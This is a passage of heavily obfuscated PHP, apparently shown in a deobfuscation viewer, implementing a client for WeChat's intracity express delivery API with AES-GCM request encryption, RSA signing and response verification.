"\345\x8f\226\346\xb6\210\344\xb8\211\xe6\226\xb9\351\x85\x8d\xe9\200\x81\345\x8d\225\xe6\210\x90\xe5\212\237"; goto aTy87; RpWuD: goto pw_Pr; goto XTXl9; jKoDr: if (!empty($result["\x63\157\x64\145"])) { goto Sp251; } goto IyxVT; G6a1A: return $this->error('', "\345\x90\x8c\345\x9f\x8e\xe9\x85\x8d\xe9\x80\201\351\x80\x80\xe5\x8d\x95\345\244\xb1\350\264\xa5"); goto vcrEC; vKlBg: JXOAb: goto e34bZ; Xtn5u: $url = "\x68\x74\x74\160\x73\x3a\x2f\57\141\x70\151\56\167\x65\x69\170\151\156\x2e\x71\x71\x2e\x63\x6f\155\x2f\x63\147\151\x2d\142\x69\156\x2f\x65\170\160\162\145\163\x73\x2f\x69\156\x74\x72\x61\x63\x69\164\x79\57\x63\x61\156\143\x65\x6c\x6f\x72\144\x65\x72"; goto d4TFr; fJ0sM: return $this->error('', "\351\x80\x80\345\215\225\xe5\244\261\350\264\xa5"); goto TgZuc; aTy87: return $result; goto XqtKO; IyxVT: if ($result["\145\x72\x72\143\157\144\x65"] == 0) { goto JXOAb; } goto fJ0sM; e34bZ: $result["\143\x6f\x64\x65"] = 0; goto R3eN9; d4TFr: $result = $this->request($url, $params); goto jKoDr; TgZuc: goto GiOY2; goto vKlBg; XqtKO: GiOY2: goto RpWuD; R9D3s: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function getBindAccount() { return [["\x64\x65\154\x69\166\145\x72\x79\137\151\x64" => "\104\x41\104\x41", "\x64\x65\154\x69\x76\x65\162\x79\137\x6e\141\x6d\145" => "\xe8\xbe\276\350\276\276"], ["\x64\x65\x6c\151\166\145\x72\x79\x5f\x69\x64" => "\x53\106\x54\x43", "\144\x65\x6c\x69\166\x65\x72\x79\137\x6e\x61\x6d\x65" => "\351\xa1\272\344\xb8\xb0\345\x90\214\345\237\x8e"]]; } public function getCates() { return [["\x69\144" => "\61", "\x6e\x61\x6d\x65" => "\xe5\xbf\253\351\244\220"], ["\151\x64" => "\x32", "\156\141\x6d\x65" => "\350\x8d\xaf\345\223\x81"], ["\151\144" => "\x33", "\156\x61\155\145" => "\347\231\xbe\350\xb4\xa7"], ["\x69\x64" => "\66", "\156\x61\x6d\x65" => "\347\x94\x9f\351\xb2\234"], ["\x69\144" => "\70", "\x6e\141\x6d\145" => "\xe9\x85\222\345\223\201"], ["\151\144" => "\61\62", "\x6e\141\x6d\x65" => "\346\x96\207\xe4\273\266"], ["\151\144" => "\x31\63", "\156\141\155\145" => "\350\233\213\347\263\x95"], ["\x69\144" => "\x31\64", "\156\x61\155\145" => "\351\262\234\350\212\xb1"], ["\151\x64" => "\x31\65", "\156\141\x6d\145" => "\346\x95\260\xe7\240\x81"], ["\151\144" => "\61\x36", "\x6e\x61\x6d\x65" => "\xe6\234\215\350\xa3\205"], ["\x69\144" => "\x31\67", "\x6e\x61\x6d\145" => "\xe6\xb1\xbd\xe9\x85\215"], ["\x69\x64" => "\61\x38", "\x6e\x61\x6d\145" => "\xe7\x8f\xa0\xe5\xae\x9d"], ["\x69\144" => "\x33\62", "\156\x61\x6d\145" => "\351\xa5\xae\346\x96\231"], ["\x69\144" => "\63\66", "\x6e\x61\155\x65" => "\350\xaf\201\347\x85\xa7"], ["\x69\x64" => "\65\x35", "\x6e\141\x6d\145" => "\345\256\240\347\x89\xa9\xe7\224\xa8\xe5\x93\201"], ["\x69\144" => "\x35\x36", "\x6e\141\x6d\x65" => "\346\xaf\215\xe5\251\xb4\347\224\250\xe5\x93\201"], ["\x69\x64" => "\65\67", "\x6e\141\155\145" => "\xe7\xbe\216\345\xa6\x86\347\224\xa8\xe5\x93\201"], ["\x69\x64" => "\65\x38", "\x6e\141\x6d\x65" => "\345\256\xb6\345\261\205\345\273\xba\346\235\220"], ["\151\x64" => "\71\71", "\x6e\x61\x6d\x65" => "\xe5\205\xb6\344\xbb\226"]]; } public function request($url, $req) { goto WaFtf; HCs2n: $checkLocalSig = $this->checkLocalSignature($newRe, $signature); goto vdLYL; NJ0vD: $headers = $this->httpParseHeaders($data["\150\x65\141\x64\145\x72"]); goto qyt0H; RWrm2: return $this->error('', "\346\x9c\254\345\234\260\351\252\214\xe7\255\xbe\xe9\x94\x99\xe8\xaf\xaf\x21"); goto m_gIC; WaFtf: $accessToken = $this->getAccessToken(); goto sjP3t; YX8KN: $urls = $url . "\77\x61\x63\x63\145\163\163\137\x74\157\153\x65\156\75" . $accessToken; goto lXvtV; CUzxW: $data = $this->curlPost($urls, $newRe["\x72\145\x71\104\141\164\x61"], $headerArray); goto NJ0vD; lXvtV: $newRe = $this->getRequestParam($url, $req); goto W67CN; qyt0H: $body = json_decode($data["\x62\157\144\x79"], true); goto kiPWJ; m_gIC: Y8eBL: goto cTUw0; K0cPV: $headerArray = ["\x57\x65\x63\x68\x61\164\155\160\x2d\101\x70\160\151\144\72" . $appId, "\127\x65\x63\x68\141\164\155\x70\x2d\124\x69\155\145\123\164\141\155\x70\72" . $newRe["\164\x73"], "\x57\145\143\150\141\x74\x6d\160\55\123\151\147\156\141\164\x75\162\145\72" . $signature]; goto CUzxW; kiPWJ: if (!isset($body["\x65\162\162\143\157\x64\x65"])) { goto RptI5; } goto VpgYx; sjP3t: $this->url = $url; goto YX8KN; H1SRU: RptI5: goto DBu1I; W67CN: $signature = $this->getSignature($newRe); goto HCs2n; VpgYx: return $this->error('', $body["\145\x72\x72\155\163\x67"]); goto H1SRU; vdLYL: if ($checkLocalSig) { goto Y8eBL; } goto RWrm2; iWXC6: return $this->jM($headers["\127\145\143\150\x61\x74\x6d\160\x2d\124\x69\x6d\x65\x53\164\x61\x6d\160"], $body); goto QXe40; DBu1I: $vertify = $this->vertifyResponse($data); goto iWXC6; cTUw0: $appId = $this->appId; goto K0cPV; QXe40: } public function getAccessToken() { goto k0J8o; k0J8o: $accessToken = $this->app->access_token; goto FTp8_; FTp8_: $token = $accessToken->getToken(); goto H2Lnh; H2Lnh: return $token["\141\x63\x63\x65\x73\x73\137\x74\157\x6b\x65\x6e"]; goto ArmsU; ArmsU: } public function curlPost($url, $field, $header) { goto Wraks; Ya6wI: if (empty($field)) { goto pyaqL; } goto mk6yy; z1smg: $curl = curl_init(); goto eTqUD; WjH_I: curl_setopt($curl, CURLOPT_URL, $url); goto AqCnx; Wraks: $headerArray = array("\x43\157\156\x74\x65\156\x74\x2d\164\171\x70\x65\72\x61\160\160\154\x69\143\141\x74\151\x6f\x6e\57\152\163\x6f\156\73\x63\x68\141\162\163\x65\164\75\x75\x74\146\55\x38", "\x41\143\x63\145\160\x74\x3a\141\160\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x6a\163\x6f\156"); goto HC05w; wqSo9: qGjU4: goto z1smg; UO1aG: $body = substr($str, $headerSize); goto dD8pA; Ycv54: curl_setopt($curl, CURLOPT_HEADER, true); goto GFty6; GFty6: $str = curl_exec($curl); goto zUI6o; r3gh5: pyaqL: goto Yosea; MMW8E: $headerArray = array_merge($headerArray, $header); goto wqSo9; z0XsK: $headers = substr($str, 0, $headerSize); goto UO1aG; Yosea: curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); goto Ycv54; dD8pA: curl_close($curl); goto RxyHR; HC05w: if (empty($header)) { goto qGjU4; } goto MMW8E; eTqUD: curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArray); goto WjH_I; AqCnx: curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); goto IOfXp; IOfXp: curl_setopt($curl, CURLOPT_POST, 1); goto Ya6wI; mk6yy: curl_setopt($curl, CURLOPT_POSTFIELDS, $field); goto r3gh5; zUI6o: $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE); goto z0XsK; RxyHR: return ["\x62\x6f\x64\x79" => $body, "\150\145\141\x64\145\x72" => $headers]; goto fNKxR; fNKxR: } public function getRequestParam($url, $req) { goto fPVsc; h__hh: return ["\x74\163" => $time, "\x72\x65\x71\104\x61\x74\x61" => json_encode($reqData)]; goto d93zi; V1jRB: $data = base64_encode($cipher); goto rgs0t; vjgWr: $addReq = ["\x5f\x6e" => $nonce, "\137\141\160\x70\x69\x64" => $appId, "\x5f\164\151\155\x65\163\x74\x61\155\160" => $time]; goto D6Blw; rgs0t: $authTag = base64_encode($tag); goto iA0KE; tdtDJ: $checkParam = $this->checkParam($key, $authTag, $iv, $data, $aad); goto h__hh; tDWSl: $sn = $this->aes["\x73\x6e"]; goto scVd6; meilD: $iv = base64_encode($iv); goto V1jRB; iA0KE: $reqData = ["\x69\x76" => $iv, "\x64\141\164\141" => $data, "\141\165\164\150\164\141\x67" => $authTag]; goto tdtDJ; U1MUF: $iv = random_bytes(12); goto f3O9y; D6Blw: $realReq = array_merge($addReq, $req); goto a0sGL; fPVsc: $key = base64_decode($this->aes["\x6b\145\171"]); goto tDWSl; glB21: $aad = $url . "\x7c" . $appId . "\174" . $time . "\x7c" . $sn; goto U1MUF; a0sGL: $realReq = json_encode($realReq); goto glB21; scVd6: $appId = $this->appId; goto rl02Z; f3O9y: $cipher = openssl_encrypt($realReq, "\x61\x65\163\55\x32\x35\x36\55\x67\143\x6d", $key, OPENSSL_RAW_DATA, $iv, $tag, $aad, 16); goto meilD; rl02Z: $time = time(); goto uMGZx; uMGZx: $nonce = rtrim(base64_encode(random_bytes(16)), "\x3d"); goto vjgWr; d93zi: } private function checkParam($key, $authTag, $iv, $data, $aad) { goto cj5t1; cj5t1: $iv = base64_decode($iv); goto W1lRu; sZxmw: $authTag = base64_decode($authTag); goto HHct4; W1lRu: $data = base64_decode($data); goto sZxmw; HHct4: return openssl_decrypt($data, "\141\145\163\55\x32\65\66\x2d\147\x63\x6d", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto dQvCK; dQvCK: } private function getSignature(array $newRe) { goto gbOzr; Vr1wT: $rsa->setHash("\x73\150\x61\62\x35\x36"); goto jcJip; gbOzr: $time = $newRe["\164\x73"]; goto xwFjM; jcJip: $rsa->setMGFHash("\163\150\x61\62\x35\66"); goto k8Xz3; PCb3n: $url = $this->url; goto RDQgo; pB1cc: return base64_encode($signature); goto uovFH; xwFjM: $key = $this->rsa["\x72\x73\141\x2d\x70\162\x69\x76\141\164\x65\55\153\145\x79"]; goto PCb3n; RDQgo: $appId = $this->appId; goto s_vKc; Kr3nL: $rsa = new RSA(); goto Mbzia; Mbzia: $rsa->loadKey($key); goto Vr1wT; XrdhQ: $payload = $url . "\xa" . $appId . "\12" . $time . "\12" . $reqData; goto Kr3nL; k8Xz3: $signature = $rsa->sign($payload); goto pB1cc; s_vKc: $reqData = $newRe["\162\x65\161\x44\141\x74\141"]; goto XrdhQ; uovFH: } private function checkLocalSignature(array $newRe, string $signature) { goto p5tje; x6F8n: $rsa->setMGFHash("\163\x68\141\62\x35\x36"); goto gnJZD; U4aql: $pubkey = $rsaPubKey; goto ewXAj; ewXAj: $rsa = new RSA(); goto S0aLL; WaXvR: $url = $this->url; goto u62ZZ; s0Wgm: $payload = utf8_encode($payload); goto U4aql; gnJZD: return $rsa->verify($payload, $signature); goto jG1iu; u62ZZ: $time = $newRe["\x74\x73"]; goto n9kHv; S0aLL: $rsa->loadKey($pubkey); goto vDrtl; tY7MN: $rsaPubKey = $this->rsa["\162\163\141\x2d\x70\165\x62\x6c\x69\x63\x2d\x6b\145\x79"]; goto LW0SB; n9kHv: $reqData = $newRe["\x72\145\x71\104\141\164\x61"]; goto H9seu; p5tje: $signature = base64_decode($signature); goto tY7MN; LW0SB: $appId = $this->appId; goto WaXvR; vDrtl: $rsa->setHash("\163\x68\141\x32\65\66"); goto x6F8n; H9seu: $payload = "{$url}\xa{$appId}\12{$time}\xa{$reqData}"; goto s0Wgm; jG1iu: } private function httpParseHeaders($headerString) { goto ZFpwk; ZFpwk: $headers = []; goto WqlsD; cXPtt: NrabL: goto UnXz_; Wopct: foreach ($lines as $line) { goto Pu0Tn; SjhYo: jTrXu: goto vAyNj; ZfHyG: $key = trim($parts[0]); goto ZnX5_; MD7xE: WJ4QO: goto SjhYo; vTj_k: $headers[$key] = $value; goto MD7xE; Pu0Tn: $line = trim($line); goto ajI9d; ajI9d: if (empty($line)) { goto WJ4QO; } goto oxarE; ZnX5_: $value = isset($parts[1]) ? trim($parts[1]) : ''; goto vTj_k; oxarE: $parts = explode("\x3a", $line, 2); goto ZfHyG; vAyNj: } goto cXPtt; WqlsD: $lines = explode("\15\12", $headerString); goto Wopct; UnXz_: return $headers; goto n1KLo; n1KLo: } private function jM($ts, $body) { goto iPQkz; TUcGc: return $this->error('', "\350\xa7\xa3\345\xaf\x86\xe5\244\xb1\350\xb4\xa5\x21"); goto DUy1j; yvoXy: MF1Lb: goto wwMf1; VoA6Z: $authTag = base64_decode($body["\x61\x75\x74\150\x74\141\147"]); goto qeMyB; qeMyB: $result = openssl_decrypt($data, "\141\x65\x73\55\62\x35\x36\55\x67\x63\155", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto HaweL; CfV4z: iwO9H: goto I_ENR; HDSwZ: $aad = $url . "\x7c" . $appId . "\174" . $ts . "\x7c" . $sn; goto F2uNE; iPQkz: $url = $this->url; goto Xnr7E; MGUZ2: return $this->error('', $result["\x65\162\x72\x6d\x73\147"]); goto yvoXy; MQpQI: $key = base64_decode($key); goto keVwl; I_ENR: Log::write("\345\276\xae\xe4\277\241\xe6\216\xa5\xe5\x8f\xa3\xe8\277\224\345\x9b\x9e\357\274\x9a" . json_encode($result)); goto DWGOJ; keVwl: $iv = base64_decode($body["\x69\x76"]); goto SemG0; aay34: $sn = $this->aes["\163\x6e"]; goto HDSwZ; Xnr7E: $appId = $this->appId; goto aay34; pz5hT: Log::write("\xe5\276\xae\344\xbf\241\xe6\x8e\245\345\217\xa3\350\xbf\224\345\x9b\236\xef\274\232" . json_encode($result)); goto MGUZ2; HaweL: if ($result) { goto ZibFZ; } goto TUcGc; DUy1j: ZibFZ: goto cXPY_; F2uNE: $key = $this->aes["\x6b\145\x79"]; goto MQpQI; M4RtI: if (!(!empty($result["\x65\x72\162\x63\157\x64\x65"]) && $result["\145\x72\x72\x63\157\x64\x65"] != 0)) { goto MF1Lb; } goto pz5hT; cXPY_: $result = json_decode($result, true); goto M4RtI; DWGOJ: return $result; goto yl4Ae; LSJWG: $result["\155\145\x73\x73\141\147\145"] = $result["\145\162\x72\x6d\x73\x67"]; goto CfV4z; wwMf1: if (!(isset($result["\x65\162\162\143\157\x64\145"]) && $result["\145\162\162\143\x6f\144\145"] == 0)) { goto iwO9H; } goto LSJWG; SemG0: $data = base64_decode($body["\144\141\164\141"]); goto VoA6Z; yl4Ae: } private function vertifyResponse($data) { goto l8GNZ; sVP7X: jZOI7: goto i0r3d; hvftQ: return $rsa->verify($payload, $signature); goto eFiGU; GzVin: return $this->error('', "\xe8\xbf\x94\xe5\x9b\x9e\345\200\xbc\163\156\344\xb8\x8d\345\x8c\271\351\x85\x8d\41"); goto Hdtx9; M_EF0: KryRd: goto TDcng; GYvIh: $nowTime = time(); goto Jimae; xrux4: $rsa->setHash("\163\150\x61\x32\x35\x36"); goto A6uU_; VLo08: if (!($appId != $headers["\127\x65\143\x68\141\164\155\160\55\x41\160\160\x69\144"] || $nowTime - $reTime > 300)) { goto BPYAO; } goto HEiKM; HEiKM: return $this->error('', "\xe8\xbf\x94\xe5\233\x9e\345\x80\xbc\345\256\x89\xe5\x85\250\xe5\xad\227\xe6\256\265\346\240\xa1\xe9\xaa\x8c\xe5\xa4\xb1\xe8\xb4\xa5\x21"); goto TP2nQ; Jimae: $reTime = $headers["\x57\145\x63\x68\141\164\155\160\x2d\124\151\x6d\x65\x53\x74\141\x6d\x70"]; goto wweTd; Hdtx9: goto KryRd; goto sVP7X; k1PjR: $rsa->loadKey($key); goto xrux4; wweTd: $appId = $this->appId; goto Yk1Md; I5Vw1: goto KryRd; goto IdwKc; TDcng: $reData = $data["\142\157\144\171"]; goto Rghr4; as9fy: $url = $this->url; goto VLo08; Yk1Md: $cert = $this->cert; goto Ye5xe; TP2nQ: BPYAO: goto lA5ju; lA5ju: if ($sn == $headers["\x57\145\143\x68\141\x74\155\x70\x2d\x53\x65\x72\x69\141\x6c"]) { goto jZOI7; } goto FwT1k; l8GNZ: $headers = $this->httpParseHeaders($data["\150\145\x61\144\x65\x72"]); goto GYvIh; XU14x: $payload = utf8_encode($payload); goto RmQ0D; Rghr4: $payload = "{$url}\xa{$appId}\12{$reTime}\12{$reData}"; goto XU14x; Ye5xe: $sn = $cert["\x73\x6e"]; goto WTihz; IdwKc: DCQqd: goto v0ZgB; v0ZgB: $signature = $headers["\x57\145\x63\150\x61\x74\155\160\55\x53\151\x67\x6e\141\164\165\x72\145\x2d\104\145\160\x72\145\x63\141\x74\145\x64"]; goto M_EF0; RmQ0D: $signature = base64_decode($signature); goto EYo5d; FwT1k: if ($sn == $headers["\x57\x65\x63\x68\x61\x74\155\x70\x2d\x53\x65\162\x69\141\154\55\104\x65\160\x72\145\143\x61\164\x65\x64"]) { goto DCQqd; } goto GzVin; EYo5d: $rsa = new RSA(); goto k1PjR; i0r3d: $signature = $headers["\127\145\143\x68\141\164\x6d\160\x2d\x53\x69\147\156\x61\164\x75\162\x65"]; goto I5Vw1; WTihz: $key = $cert["\143\x65\x72\164\x2d\153\145\171"]; goto as9fy; A6uU_: $rsa->setMGFHash("\x73\150\x61\x32\x35\x36"); goto hvftQ; eFiGU: } private function getPublicKey($cert, $certPath = '') { goto OEgZ3; ZmWB2: $pkey = openssl_pkey_get_public($cert); goto ATlg9; ATlg9: $keyData = openssl_pkey_get_details($pkey); goto MvoRL; iYppj: $public_key = trim(str_replace("\55\55\x2d\x2d\x2d\105\116\104\40\120\125\102\x4c\111\x43\40\x4b\x45\x59\x2d\55\55\55\x2d", '', $public_key)); goto KkrOf; OEgZ3: $cert = $cert ?: file_get_contents($certPath); goto ZmWB2; KkrOf: return $public_key; goto p3P7Q; MvoRL: $public_key = str_replace("\x2d\55\x2d\55\x2d\102\105\107\111\x4e\40\120\125\102\x4c\111\x43\40\x4b\x45\131\55\55\x2d\55\55", '', $keyData["\153\145\171"]); goto iYppj; p3P7Q: } }
?>

Function Calls

None

Variables

None

Stats

MD5 c4bcfecd74d188ffd8a65dc3e0938f46
Eval Count 0
Decode Time 68 ms